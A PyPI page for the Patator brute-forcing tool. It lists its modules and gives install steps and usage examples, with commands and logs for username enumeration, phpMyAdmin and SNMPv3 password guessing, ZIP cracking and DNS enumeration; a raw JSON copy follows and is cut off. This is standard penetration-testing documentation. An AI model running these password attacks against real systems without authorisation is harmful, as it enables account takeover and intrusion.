patator


Namepatator JSON
Version 1.1.0 PyPI version JSON
download
home_pageNone
SummaryMulti-purpose brute-forcer
upload_time2025-02-17 02:15:30
maintainerNone
docs_urlNone
authorSebastien Macke
requires_python>=3.13
licenseNone
keywords brute force password attack pentest
VCS
bugtrack_url
requirements paramiko pycurl ajpy impacket cx_Oracle mysqlclient psycopg2-binary pycryptodomex dnspython IPy pysnmp telnetlib-313-and-up
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Patator

Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a multi-threaded tool written in Python, that strives to be more reliable and flexible than his fellow predecessors.

Currently it supports the following modules:

```
* ftp_login      : Brute-force FTP
* ssh_login      : Brute-force SSH
* telnet_login   : Brute-force Telnet
* smtp_login     : Brute-force SMTP
* smtp_vrfy      : Enumerate valid users using the SMTP VRFY command
* smtp_rcpt      : Enumerate valid users using the SMTP RCPT TO command
* finger_lookup  : Enumerate valid users using Finger
* http_fuzz      : Brute-force HTTP/HTTPS
* rdp_gateway    : Brute-force RDP Gateway
* ajp_fuzz       : Brute-force AJP
* pop_login      : Brute-force POP
* pop_passd      : Brute-force poppassd (not POP3)
* imap_login     : Brute-force IMAP
* ldap_login     : Brute-force LDAP
* dcom_login     : Brute-force DCOM
* smb_login      : Brute-force SMB
* smb_lookupsid  : Brute-force SMB SID-lookup
* rlogin_login   : Brute-force rlogin
* vmauthd_login  : Brute-force VMware Authentication Daemon
* mssql_login    : Brute-force MSSQL
* oracle_login   : Brute-force Oracle
* mysql_login    : Brute-force MySQL
* mysql_query    : Brute-force MySQL queries
* rdp_login      : Brute-force RDP (NLA)
* pgsql_login    : Brute-force PostgreSQL
* vnc_login      : Brute-force VNC
* dns_forward    : Brute-force DNS
* dns_reverse    : Brute-force DNS (reverse lookup subnets)
* ike_enum       : Enumerate IKE transforms
* snmp_login     : Brute-force SNMPv1/2 and SNMPv3
* unzip_pass     : Brute-force the password of encrypted ZIP files
* keystore_pass  : Brute-force the password of Java keystore files
* sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
* umbraco_crack  : Crack Umbraco HMAC-SHA1 password hashes
```

The name "Patator" comes from [this](https://www.youtube.com/watch?v=9sF9fTALhVA).

Patator is NOT script-kiddie friendly, please read the full README inside [patator.py](patator.py) before reporting.

Please donate if you like this project! :)

[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator&currency_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)

Many thanks! [@lanjelot](https://twitter.com/lanjelot)

## Install

```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
```

## Usage Examples

* FTP : Enumerating users denied login in `vsftpd/userlist`

```
$ ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500
19:36:06 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 19:36 AEDT
19:36:06 patator    INFO -
19:36:06 patator    INFO - code  size    time | candidate                          |   num | mesg
19:36:06 patator    INFO - -----------------------------------------------------------------------------
19:36:07 patator    INFO - 230   17     0.002 | anonymous                          |     7 | Login successful.
19:36:07 patator    INFO - 230   17     0.001 | ftp                                |    10 | Login successful.
19:36:08 patator    INFO - 530   18     1.000 | root                               |     1 | Permission denied.
19:36:17 patator    INFO - 530   18     1.000 | michael                            |    50 | Permission denied.
19:36:36 patator    INFO - 530   18     1.000 | robert                             |    93 | Permission denied.
...
```

Tested against `vsftpd-3.0.2-9` on `CentOS 7.0-1406`.

* SSH : Time-based user enumeration

```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator    INFO -
17:45:20 patator    INFO - code  size    time | candidate                          |   num | mesg
17:45:20 patator    INFO - -----------------------------------------------------------------------------
17:45:30 patator    FAIL - xxx   41    10.001 | root                               |     1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator    FAIL - xxx   41    10.000 | john                               |    23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator    FAIL - xxx   41    10.000 | joe                                |    40 | <class '__main__.TimeoutError'> timed out
...
```

Tested against `openssh-server 1:6.0p1-4+deb7u2` on `Debian 7.8`.

* HTTP : Brute-force phpMyAdmin logon

```
$ http_fuzz url=http://10.0.0.1/pma/index.php method=POST body='pma_username=COMBO00&pma_password=COMBO01&server=1&target=index.php&lang=en&token=' 0=combos.txt before_urls=http://10.0.0.1/pma/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf
11:53:47 patator    INFO - Starting Patator v0.7-beta (http://code.google.com/p/patator/) at 2014-08-31 11:53 EST
11:53:47 patator    INFO -
11:53:47 patator    INFO - code size:clen       time | candidate                          |   num | mesg
11:53:47 patator    INFO - -----------------------------------------------------------------------------
11:53:48 patator    INFO - 200  49585:0        0.150 | root:p@ssw0rd                      |    26 | HTTP/1.1 200 OK
11:53:51 patator    INFO - 200  13215:0        0.351 | root:                              |    72 | HTTP/1.1 200 OK
^C
11:53:54 patator    INFO - Hits/Done/Skip/Fail/Size: 2/198/0/0/3000, Avg: 29 r/s, Time: 0h 0m 6s
11:53:54 patator    INFO - To resume execution, pass --resume 15,15,15,16,15,36,15,16,15,40
```

Payload #72 was a false positive due to an unexpected error message:

```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
```

Tested against `phpMyAdmin 4.2.7.1`.

* IKEv1 : Enumerate transforms supported by VPN peer

```
# ike_enum host=10.0.0.1 transform=MOD0 0=TRANS aggressive=RANGE1 1=int:0-1 -x ignore:fgrep='NO-PROPOSAL'
16:52:58 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-05 16:52 AEST
16:52:58 patator    INFO -
16:52:58 patator    INFO - code  size    time | candidate                          |   num | mesg
16:52:58 patator    INFO - -----------------------------------------------------------------------------
16:53:03 patator    INFO - 0     70     0.034 | 5,1,1,2:0                          |  1539 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Main)
16:53:03 patator    INFO - 0     72     0.031 | 5,1,65001,2:0                      |  1579 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH&PSK (Main)
16:53:03 patator    INFO - 0     76     0.033 | 5,1,1,2:1                          |  1540 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Aggressive)
16:53:03 patator    INFO - 0     78     0.034 | 5,1,65001,2:1                      |  1580 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH&PSK (Aggressive)
16:53:06 patator    INFO - 0     84     0.034 | 7/128,2,1,2:0                      |  2371 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Main)
16:53:06 patator    INFO - 0     90     0.033 | 7/128,2,1,2:1                      |  2372 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Aggressive)
16:53:06 patator    INFO - 0     86     0.034 | 7/128,2,65001,2:0                  |  2411 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH&PSK (Main)
16:53:06 patator    INFO - 0     92     0.035 | 7/128,2,65001,2:1                  |  2412 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH&PSK (Aggressive)

+ 10.0.0.1:500 (Main Mode)
    Encryption       Hash             Auth       Group
    ---------- ----------       ----------  ----------
          3DES        MD5              PSK    modp1024
          3DES        MD5        XAUTH&PSK    modp1024
        AES128       SHA1              PSK    modp1024
        AES128       SHA1        XAUTH&PSK    modp1024

+ 10.0.0.1:500 (Aggressive Mode)
    Encryption       Hash             Auth       Group
    ---------- ----------       ----------  ----------
          3DES        MD5              PSK    modp1024
          3DES        MD5        XAUTH&PSK    modp1024
        AES128       SHA1              PSK    modp1024
        AES128       SHA1        XAUTH&PSK    modp1024
16:53:11 patator    INFO - Hits/Done/Skip/Fail/Size: 8/3840/0/0/3840, Avg: 284 r/s, Time: 0h 0m 13s
```

* SNMPv3 : Find valid usernames

```
$ snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName
17:51:06 patator    INFO - Starting Patator v0.5
17:51:06 patator    INFO -
17:51:06 patator    INFO - code  size | candidate                          |   num | mesg
17:51:06 patator    INFO - ----------------------------------------------------------------------
17:51:11 patator    INFO - 0-0   11   | robert                             |    55 | wrongDigest
17:51:12 patator    INFO - Progress:  20% (70/345) | Speed: 10 r/s | ETC: 17:51:38 (00:00:26 remaining)
17:51:33 patator    INFO - 0-0   11   | myuser                             |   311 | wrongDigest
17:51:36 patator    INFO - Hits/Done/Skip/Fail/Size: 2/345/0/0/345, Avg: 11 r/s, Time: 0h 0m 30s
```

* SNMPv3 : Find valid passwords

```
$ snmp_login host=10.0.0.1 version=3 user=robert auth_key=FILE0 0=passwords_8+.txt -x ignore:mesg=wrongDigest
17:52:15 patator    INFO - Starting Patator v0.5
17:52:15 patator    INFO -
17:52:15 patator    INFO - code  size | candidate                          |   num | mesg
17:52:15 patator    INFO - ----------------------------------------------------------------------
17:52:16 patator    INFO - 0-0   69   | password123                        |    16 | Linux thug 2.6.36-gentoo #5 SMP Fri Aug 12 14:49:51 CEST 2011 i686
17:52:17 patator    INFO - Hits/Done/Skip/Fail/Size: 1/50/0/0/50, Avg: 38 r/s, Time: 0h 0m 1s
```

* DNS : Forward lookup

```
$ dns_forward name=FILE0.hsc.fr 0=names.txt -x ignore:code=3
03:18:46 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:18 PMT
03:18:46 patator    INFO -
03:18:46 patator    INFO - code  size | candidate                          |   num | mesg
03:18:46 patator    INFO - ----------------------------------------------------------------------
03:18:46 patator    INFO - 0     41   | www                                |     4 | NOERROR [www.hsc.fr. IN A 217.174.211.25]
03:18:46 patator    INFO - 0     81   | mail                               |    32 | NOERROR [mail.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
03:18:46 patator    INFO - 0     44   | webmail                            |    62 | NOERROR [webmail.hsc.fr. IN A 192.70.106.95]
03:18:46 patator    INFO - 0     93   | test                               |    54 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]
03:18:46 patator    INFO - 0     40   | wap                                |    66 | NOERROR [wap.hsc.fr. IN A 192.70.106.33]
03:18:46 patator    INFO - 0     85   | extranet                           |   131 | NOERROR [extranet.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
03:18:46 patator    INFO - 0     81   | news                               |   114 | NOERROR [news.hsc.fr. IN CNAME itesec.hsc.fr.][itesec.hsc.fr. IN A 192.70.106.33]
03:18:46 patator    INFO - 0     93   | mailhost                           |   137 | NOERROR [mailhost.hsc.fr. IN A 192.70.106.33][mailhost.hsc.fr. IN AAAA 2001:7a8:1155:2::abcd]
03:18:46 patator    INFO - 0     47   | lists                              |   338 | NOERROR [lists.hsc.fr. IN MX 10 itesec.hsc.fr.]
03:18:46 patator    INFO - 0     93   | fr                                 |   319 | NOERROR [hsc.fr. IN SOA itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600]
03:18:47 patator    INFO - 0     40   | gl                                 |   586 | NOERROR [gl.hsc.fr. IN A 192.70.106.103]
Records ------------------------------------------
                  extranet.hsc.fr.   IN CNAME   itesec.hsc.fr.
                        gl.hsc.fr.   IN A       192.70.106.103
                           hsc.fr.   IN SOA     itesec.hsc.fr. hostmaster.hsc.fr. 2012012301 21600 3600 1209600 3600
                    itesec.hsc.fr.   IN A       192.70.106.33
                     lists.hsc.fr.   IN MX      10 itesec.hsc.fr.
                      mail.hsc.fr.   IN CNAME   itesec.hsc.fr.
                  mailhost.hsc.fr.   IN A       192.70.106.33
                  mailhost.hsc.fr.   IN AAAA    2001:7a8:1155:2::abcd
                      news.hsc.fr.   IN CNAME   itesec.hsc.fr.
                       wap.hsc.fr.   IN A       192.70.106.33
                   webmail.hsc.fr.   IN A       192.70.106.95
                       www.hsc.fr.   IN A       217.174.211.25
Hostmap ------------------------------------------
                   mailhost.hsc.fr 2001:7a8:1155:2::abcd
                   mailhost.hsc.fr 192.70.106.33
                        wap.hsc.fr 192.70.106.33
                     itesec.hsc.fr 192.70.106.33
                   extranet.hsc.fr
                       mail.hsc.fr
                       news.hsc.fr
                    webmail.hsc.fr 192.70.106.95
                         gl.hsc.fr 192.70.106.103
                        www.hsc.fr 217.174.211.25
Domains ------------------------------------------
                            hsc.fr 10
Networks -----------------------------------------
                                   2001:7a8:1155:2::abcd
                                   192.70.106.x
                                   217.174.211.25
03:18:53 patator    INFO - Hits/Done/Skip/Fail/Size: 11/1000/0/0/1000, Avg: 133 r/s, Time: 0h 0m 7s
```

Also notice that `test.hsc.fr.` is the start of a new zone because we got NOERROR and no IP address.

* DNS : Reverse lookup two netblocks owned by Google

```
$ dns_reverse host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-
03:24:22 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:24 PMT
03:24:22 patator    INFO -
03:24:22 patator    INFO - code  size | candidate                          |   num | mesg
03:24:22 patator    INFO - ----------------------------------------------------------------------
03:24:22 patator    INFO - 0     46   | 216.239.32.10                      |    11 | NOERROR [216.239.32.10 IN PTR ns1.google.com.]
03:24:22 patator    INFO - 0     45   | 216.239.32.11                      |    12 | NOERROR [216.239.32.11 IN PTR ns.google.com.]
03:24:22 patator    INFO - 0     48   | 216.239.32.15                      |    16 | NOERROR [216.239.32.15 IN PTR time1.google.com.]
03:24:23 patator    INFO - 0     47   | 216.239.33.5                       |   262 | NOERROR [216.239.33.5 IN PTR proxy.google.com.]
03:24:23 patator    INFO - 0     47   | 216.239.33.12                      |   269 | NOERROR [216.239.33.12 IN PTR dns1.google.com.]
03:24:23 patator    INFO - 0     51   | 216.239.33.22                      |   279 | NOERROR [216.239.33.22 IN PTR transfer.google.com.]
03:24:23 patator    INFO - 0     50   | 216.239.33.20                      |   277 | NOERROR [216.239.33.20 IN PTR esc-out.google.com.]
03:24:23 patator    INFO - 0     46   | 216.239.34.10                      |   523 | NOERROR [216.239.34.10 IN PTR ns2.google.com.]
03:24:23 patator    INFO - 0     48   | 216.239.34.15                      |   528 | NOERROR [216.239.34.15 IN PTR time2.google.com.]
^C
Records ------------------------------------------
                     216.239.32.10       IN PTR      ns1.google.com.
                     216.239.32.11       IN PTR      ns.google.com.
                     216.239.32.15       IN PTR      time1.google.com.
                     216.239.33.12       IN PTR      dns1.google.com.
                     216.239.33.20       IN PTR      esc-out.google.com.
                     216.239.33.22       IN PTR      transfer.google.com.
                      216.239.33.5       IN PTR      proxy.google.com.
                     216.239.34.10       IN PTR      ns2.google.com.
                     216.239.34.15       IN PTR      time2.google.com.
Hostmap ------------------------------------------
                    ns1.google.com 216.239.32.10
                     ns.google.com 216.239.32.11
                  time1.google.com 216.239.32.15
                  proxy.google.com 216.239.33.5
                   dns1.google.com 216.239.33.12
                esc-out.google.com 216.239.33.20
               transfer.google.com 216.239.33.22
                    ns2.google.com 216.239.34.10
                  time2.google.com 216.239.34.15
Domains ------------------------------------------
                        google.com 9
Networks -----------------------------------------
                                   216.239.32.x
                                   216.239.33.x
                                   216.239.34.x
03:24:29 patator    INFO - Hits/Done/Skip/Fail/Size: 9/872/0/0/4352, Avg: 115 r/s, Time: 0h 0m 7s
03:24:29 patator    INFO - To resume execution, pass --resume 91,75,93,73,84,95,94,95,83,89
```

* ZIP : Crack a password-protected ZIP file (older pkzip encryption used not to be supported in JtR)

```
$ unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0
10:54:29 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT
10:54:29 patator    INFO -
10:54:29 patator    INFO - code  size | candidate                          |   num | mesg
10:54:29 patator    INFO - ----------------------------------------------------------------------
10:54:30 patator    INFO - 0     82   | love                               |   387 | 0 [82] No errors detected in compressed data of challenge1.zip.
^C
10:54:31 patator    INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s
10:54:31 patator    INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154
```

## PyInstaller
### Bundling on Windows 5.2.3790 x86

Install `python-2.7.9.msi` from [Python](https://www.python.org/downloads/windows/).
Install `pywin32-219.win32-py2.7.exe` from [PyWin32](http://sourceforge.net/projects/pywin32/files/pywin32/).
Install `vcredist_x86.exe` from [Microsoft](http://www.microsoft.com/en-us/download/confirmation.aspx?id=29).
Install `Git-1.9.5.exe` from [Git](http://git-scm.com/download/win) (and select "Use Git from Windows Command Prompt" during install).
Add `c:\Python27;c:\Python27\Scripts` to your `PATH`.

```
pip install pycrypto pyopenssl
pip install impacket
pip install paramiko
pip install IPy
pip install dnspython
pip install pysnmp

cd c:\
git clone https://github.com/lanjelot/patator
git clone https://github.com/pyinstaller/pyinstaller
cd pyinstaller
git checkout a2b0617251ebe70412f6e3573f00a49ce08b7b32 # fixes this issue: https://groups.google.com/forum/#!topic/pyinstaller/6xD75_w4F-c
python pyinstaller.py --clean --onefile c:\patator\patator.py
patator\dist\patator.exe -h
```

The resulting stand-alone `patator.exe` executable was confirmed to run successfully on Windows 2003 (5.2.3790), Windows 7 (6.1.7600), Windows 2008 R2 SP1 (6.1.7601) and Windows 2012 R2 (6.3.9600), and is likely to work fine on other Windows versions.

Refer to [#50](https://github.com/lanjelot/patator/issues/50) for more info.

            

Raw data

            {
    "_id": null,
    "home_page": null,
    "name": "patator",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.13",
    "maintainer_email": null,
    "keywords": "brute force, password attack, pentest",
    "author": "Sebastien Macke",
    "author_email": null,
    "download_url": "https://files.pythonhosted.org/packages/37/e4/85e6c8750c5f1928050e5aa029b37986a63e1f0ba13bbede46b7848055ea/patator-1.1.0.tar.gz",
    "platform": null,
    "description": "# Patator\n\nPatator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a multi-threaded tool written in Python, that strives to be more reliable and flexible than his fellow predecessors.\n\nCurrently it supports the following modules:\n\n```\n* ftp_login      : Brute-force FTP\n* ssh_login      : Brute-force SSH\n* telnet_login   : Brute-force Telnet\n* smtp_login     : Brute-force SMTP\n* smtp_vrfy      : Enumerate valid users using the SMTP VRFY command\n* smtp_rcpt      : Enumerate valid users using the SMTP RCPT TO command\n* finger_lookup  : Enumerate valid users using Finger\n* http_fuzz      : Brute-force HTTP/HTTPS\n* rdp_gateway    : Brute-force RDP Gateway\n* ajp_fuzz       : Brute-force AJP\n* pop_login      : Brute-force POP\n* pop_passd      : Brute-force poppassd (not POP3)\n* imap_login     : Brute-force IMAP\n* ldap_login     : Brute-force LDAP\n* dcom_login     : Brute-force DCOM\n* smb_login      : Brute-force SMB\n* smb_lookupsid  : Brute-force SMB SID-lookup\n* rlogin_login   : Brute-force rlogin\n* vmauthd_login  : Brute-force VMware Authentication Daemon\n* mssql_login    : Brute-force MSSQL\n* oracle_login   : Brute-force Oracle\n* mysql_login    : Brute-force MySQL\n* mysql_query    : Brute-force MySQL queries\n* rdp_login      : Brute-force RDP (NLA)\n* pgsql_login    : Brute-force PostgreSQL\n* vnc_login      : Brute-force VNC\n* dns_forward    : Brute-force DNS\n* dns_reverse    : Brute-force DNS (reverse lookup subnets)\n* ike_enum       : Enumerate IKE transforms\n* snmp_login     : Brute-force SNMPv1/2 and SNMPv3\n* unzip_pass     : Brute-force the password of encrypted ZIP files\n* keystore_pass  : Brute-force the password of Java keystore files\n* sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases\n* umbraco_crack  : Crack Umbraco HMAC-SHA1 password hashes\n```\n\nThe name \"Patator\" comes from [this](https://www.youtube.com/watch?v=9sF9fTALhVA).\n\nPatator is NOT script-kiddie friendly, please read the full README inside [patator.py](patator.py) before reporting.\n\nPlease donate if you like this project! :)\n\n[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator&currency_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)\n\nMany thanks! [@lanjelot](https://twitter.com/lanjelot)\n\n## Install\n\n```\ngit clone https://github.com/lanjelot/patator.git\ngit clone https://github.com/danielmiessler/SecLists.git\ndocker build -t patator patator/\ndocker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt\n```\n\n## Usage Examples\n\n* FTP : Enumerating users denied login in `vsftpd/userlist`\n\n```\n$ ftp_login host=10.0.0.1 user=FILE0 0=logins.txt password=asdf -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500\n19:36:06 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 19:36 AEDT\n19:36:06 patator    INFO -\n19:36:06 patator    INFO - code  size    time | candidate                          |   num | mesg\n19:36:06 patator    INFO - -----------------------------------------------------------------------------\n19:36:07 patator    INFO - 230   17     0.002 | anonymous                          |     7 | Login successful.\n19:36:07 patator    INFO - 230   17     0.001 | ftp                                |    10 | Login successful.\n19:36:08 patator    INFO - 530   18     1.000 | root                               |     1 | Permission denied.\n19:36:17 patator    INFO - 530   18     1.000 | michael                            |    50 | Permission denied.\n19:36:36 patator    INFO - 530   18     1.000 | robert                             |    93 | Permission denied.\n...\n```\n\nTested against `vsftpd-3.0.2-9` on `CentOS 7.0-1406`.\n\n* SSH : Time-based user enumeration\n\n```\n$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e \"print 'A'x50000\") --max-retries 0 --timeout 10 -x ignore:time=0-3\n17:45:20 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT\n17:45:20 patator    INFO -\n17:45:20 patator    INFO - code  size    time | candidate                          |   num | mesg\n17:45:20 patator    INFO - -----------------------------------------------------------------------------\n17:45:30 patator    FAIL - xxx   41    10.001 | root                               |     1 | <class '__main__.TimeoutError'> timed out\n17:45:34 patator    FAIL - xxx   41    10.000 | john                               |    23 | <class '__main__.TimeoutError'> timed out\n17:45:37 patator    FAIL - xxx   41    10.000 | joe                                |    40 | <class '__main__.TimeoutError'> timed out\n...\n```\n\nTested against `openssh-server 1:6.0p1-4+deb7u2` on `Debian 7.8`.\n\n* HTTP : Brute-force phpMyAdmin logon\n\n```\n$ http_fuzz url=http://10.0.0.1/pma/index.php method=POST body='pma_username=COMBO00&pma_password=COMBO01&server=1&target=index.php&lang=en&token=' 0=combos.txt before_urls=http://10.0.0.1/pma/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Cannot log in to the MySQL server' -l /tmp/qsdf\n11:53:47 patator    INFO - Starting Patator v0.7-beta (http://code.google.com/p/patator/) at 2014-08-31 11:53 EST\n11:53:47 patator    INFO -\n11:53:47 patator    INFO - code size:clen       time | candidate                          |   num | mesg\n11:53:47 patator    INFO - -----------------------------------------------------------------------------\n11:53:48 patator    INFO - 200  49585:0        0.150 | root:p@ssw0rd                      |    26 | HTTP/1.1 200 OK\n11:53:51 patator    INFO - 200  13215:0        0.351 | root:                              |    72 | HTTP/1.1 200 OK\n^C\n11:53:54 patator    INFO - Hits/Done/Skip/Fail/Size: 2/198/0/0/3000, Avg: 29 r/s, Time: 0h 0m 6s\n11:53:54 patator    INFO - To resume execution, pass --resume 15,15,15,16,15,36,15,16,15,40\n```\n\nPayload #72 was a false positive due to an unexpected error message:\n\n```\n$ grep AllowNoPassword /tmp/qsdf/72_200\\:13215\\:0\\:0.351.txt\n... class=\"icon ic_s_error\" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>\n```\n\nTested against `phpMyAdmin 4.2.7.1`.\n\n* IKEv1 : Enumerate transforms supported by VPN peer\n\n```\n# ike_enum host=10.0.0.1 transform=MOD0 0=TRANS aggressive=RANGE1 1=int:0-1 -x ignore:fgrep='NO-PROPOSAL'\n16:52:58 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-04-05 16:52 AEST\n16:52:58 patator    INFO -\n16:52:58 patator    INFO - code  size    time | candidate                          |   num | mesg\n16:52:58 patator    INFO - -----------------------------------------------------------------------------\n16:53:03 patator    INFO - 0     70     0.034 | 5,1,1,2:0                          |  1539 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Main)\n16:53:03 patator    INFO - 0     72     0.031 | 5,1,65001,2:0                      |  1579 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH&PSK (Main)\n16:53:03 patator    INFO - 0     76     0.033 | 5,1,1,2:1                          |  1540 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK (Aggressive)\n16:53:03 patator    INFO - 0     78     0.034 | 5,1,65001,2:1                      |  1580 | Handshake returned: Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH&PSK (Aggressive)\n16:53:06 patator    INFO - 0     84     0.034 | 7/128,2,1,2:0                      |  2371 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Main)\n16:53:06 patator    INFO - 0     90     0.033 | 7/128,2,1,2:1                      |  2372 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=PSK (Aggressive)\n16:53:06 patator    INFO - 0     86     0.034 | 7/128,2,65001,2:0                  |  2411 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH&PSK (Main)\n16:53:06 patator    INFO - 0     92     0.035 | 7/128,2,65001,2:1                  |  2412 | Handshake returned: Enc=AES KeyLength=128 Hash=SHA1 Group=2:modp1024 Auth=XAUTH&PSK (Aggressive)\n\n+ 10.0.0.1:500 (Main Mode)\n    Encryption       Hash             Auth       Group\n    ---------- ----------       ----------  ----------\n          3DES        MD5              PSK    modp1024\n          3DES        MD5        XAUTH&PSK    modp1024\n        AES128       SHA1              PSK    modp1024\n        AES128       SHA1        XAUTH&PSK    modp1024\n\n+ 10.0.0.1:500 (Aggressive Mode)\n    Encryption       Hash             Auth       Group\n    ---------- ----------       ----------  ----------\n          3DES        MD5              PSK    modp1024\n          3DES        MD5        XAUTH&PSK    modp1024\n        AES128       SHA1              PSK    modp1024\n        AES128       SHA1        XAUTH&PSK    modp1024\n16:53:11 patator    INFO - Hits/Done/Skip/Fail/Size: 8/3840/0/0/3840, Avg: 284 r/s, Time: 0h 0m 13s\n```\n\n* SNMPv3 : Find valid usernames\n\n```\n$ snmp_login host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName\n17:51:06 patator    INFO - Starting Patator v0.5\n17:51:06 patator    INFO -\n17:51:06 patator    INFO - code  size | candidate                          |   num | mesg\n17:51:06 patator    INFO - ----------------------------------------------------------------------\n17:51:11 patator    INFO - 0-0   11   | robert                             |    55 | wrongDigest\n17:51:12 patator    INFO - Progress:  20% (70/345) | Speed: 10 r/s | ETC: 17:51:38 (00:00:26 remaining)\n17:51:33 patator    INFO - 0-0   11   | myuser                             |   311 | wrongDigest\n17:51:36 patator    INFO - Hits/Done/Skip/Fail/Size: 2/345/0/0/345, Avg: 11 r/s, Time: 0h 0m 30s\n```\n\n* SNMPv3 : Find valid passwords\n\n```\n$ snmp_login host=10.0.0.1 version=3 user=robert auth_key=FILE0 0=passwords_8+.txt -x ignore:mesg=wrongDigest\n17:52:15 patator    INFO - Starting Patator v0.5\n17:52:15 patator    INFO -\n17:52:15 patator    INFO - code  size | candidate                          |   num | mesg\n17:52:15 patator    INFO - ----------------------------------------------------------------------\n17:52:16 patator    INFO - 0-0   69   | password123                        |    16 | Linux thug 2.6.36-gentoo #5 SMP Fri Aug 12 14:49:51 CEST 2011 i686\n17:52:17 patator    INFO - Hits/Done/Skip/Fail/Size: 1/50/0/0/50, Avg: 38 r/s, Time: 0h 0m 1s\n```\n\n* DNS : Forward lookup\n\n```\n$ dns_forward name=FILE0.hsc.fr 0=names.txt -x ignore:code=3\n03:18:46 patator    INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 03:18 PMT\n03:18:46 patator    INFO -\n03:18:46 patator    INFO - code  size | candidate                          |   num | mesg\n03:18:46 patator    INFO - ----------------------------------------------------------------------\n03:18:46 patator    INFO - 0     41   | www                                |     4 | NOERROR [www.hsc.fr. IN A 217.174.211.25]\n03:18:46 patator    